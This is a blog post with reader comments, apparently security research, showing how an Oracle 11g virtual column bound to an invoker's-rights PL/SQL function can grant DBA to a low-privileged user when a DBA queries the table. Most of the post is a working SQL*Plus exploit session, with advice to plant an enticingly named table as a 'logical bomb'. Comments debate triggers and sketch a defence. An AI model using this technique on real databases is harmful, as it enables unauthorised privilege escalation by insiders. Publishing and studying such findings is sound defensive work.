Dangers of Oracle Virtual Columns

Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it’s useful it can be dangerous too.

What happens if someone creates a table column based on a “malicious” PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user “JOXEAN”, like in the following sample:

SQL> create user joxean identified by joxean;
  1. User created.
  2.  
  3. SQL> GRANT connect, resource TO joxean;
  4. GRANT succeeded.
  5.  
  6. SQL> conn joxean/joxean
  7. Connected.
  8. SQL> CREATE OR REPLACE FUNCTION F1 (p_value IN VARCHAR2)
  9.   RETURN VARCHAR2 AUTHID CURRENT_USER deterministic
  10. AS
  11.   PRAGMA AUTONOMOUS_TRANSACTION;
  12. BEGIN
  13.   EXECUTE IMMEDIATE 'grant dba to joxean';
  14.   RETURN '1';
  15. END F1;
  16. /
  17. FUNCTION created.
  18.  
  19. SQL> CREATE TABLE t2
  20. (
  21.   col1 VARCHAR2(50),
  22.   col2 generated always AS (f1('asdf')) virtual
  23. );
  24. TABLE created.
  25.  
  26. SQL> SELECT * FROM t2;
  27. no rows selected
  28.  
  29. SQL> INSERT INTO t2 (col1) VALUES ( 'a' );
  30. 1 row created.
  31.  
  32. SQL> commit;
  33. Commit complete.
  34.  
  35. SQL> SELECT * FROM t2;
  36. SELECT * FROM t2
  37. *
  38. ERROR at line 1:
  39. ORA-01031: insufficient privileges
  40. ORA-06512: at "JOXEAN.F1", line 6
  41.  
  42. SQL> SELECT * FROM user_role_privs;
  43.  
  44. USERNAME         GRANTED_ROLE        ADM DEF OS_
  45. —————————— —————————— — — —
  46. JOXEAN          CONNECT         NO  YES NO
  47. JOXEAN          RESOURCE         NO  YES NO
  48.  
  49. SQL> conn / AS sysdba
  50. Connected.
  51. SQL> SELECT * FROM joxean.t2;
  52.  
  53. COL1   COL2
  54. —– —–
  55. a         1
  56.  
  57. SQL> SELECT * FROM dba_role_privs WHERE grantee = 'JOXEAN';
  58.  
  59. GRANTEE          GRANTED_ROLE        ADM DEF
  60. —————————— —————————— — —
  61. JOXEAN          RESOURCE         NO  YES
  62. JOXEAN          DBA         NO  YES
  63. JOXEAN          CONNECT         NO  YES

While it isn’t a big issue it can be used as a “logical bomb” by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table ;) Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table… But this is another history ;)

11 thoughts on “Dangers of Oracle Virtual Columns

  1. Pingback: Tweets that mention Dangers of Oracle Virtual Columns « Unintended Results -- Topsy.com

  2. Pingback: 9 Interesting Things You May Have Missed This Week » Eddie Awad's Blog

  3. Matt

    Very interesting and cool to know this, thanks.

    I’m just thinking whether the stats collection job would perform a select against the table so you might not even need a DBA to manually select it?

    Just theorizing if the stats collection doesn’t ignore virtual columns.

  4. joxean Post author

    In the tests I did, it didn’t worked, unfortunately :( However, I think that it should work for exports and other ways.

  5. Galen Boyer

    Hi Joxean,

    This blog post was referenced by a reader on Tom Kyte’s site. In the following URL, you will find the URL to this blog asked by a reader. The reader pasted this blogs URL in and asked Tom’s opinion on what you wrote here, http://asktom.oracle.com/pls/apex/f?p=100:11:0::::P11_QUESTION_ID:676611400346196844

    Tom Kyte answered that question about this blog. Maybe you would want to join in the conversation by replying on that AskTom URL?

  6. Matt McPeak

    Gathering stats didn’t set off your logic bomb because the function is deterministic and you passed in a constant parameter. If you had used

    CREATE TABLE t2
    (
    col1 VARCHAR2(50),
    col2 generated always AS (f1(col1)) virtual
    );

    instead, I believe it would have worked.

  7. Matt McPeak

    Actually, seems to work either way on my system — as long as there is data in the table.

  8. joxean Post author

    @Galen

    AskTom is correct: it isn’t that different to selecting data from a view. But, I had to try to find if privileges where not correctly handled for virtual columns.

    @Matt

    Interesting… Are you sure it works for you? I mean, do you scalate privileges by running DBMS_STATS.GATHER_STATS or the like? If your answer is yes, well, we have a new 0day :)

  9. Matt McPeak

    No, my test was flawed.. In fact, I cannot use this method to do anything I shouldn’t be able to do. I cannot, for example, even insert into a table owned by the querying user.

    When the privileged user selects the virtual column, SYS_CONTEXT(‘USERENV’,'CURRENT_USER’) is the table owner, not the privileged user. It behaves just like an invoker’s rights function invoked via a view, in that respect.

    I’m on 11.2.0.1.

  10. Matt McPeak

    What does this query return on your system?

    select * from dba_sys_privs
    where grantee = ‘JOXEAN’
    order by 2

  11. Karsten Aalderks

    DLL defense:

    1.) System DLL System Trigger with logging table (DDL Comand +Metadata )
    2.) CQN on DDL Tabelle (e.g. oramon.oraddl ). Event fires after change of Resultset (Select with filter – grant dba to … )
    3.) CQN Activity Procedure – e.g. ‘replace(replace(sql_text,’grant’,'revoke’),’to’, ‘from);

    Karsten

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>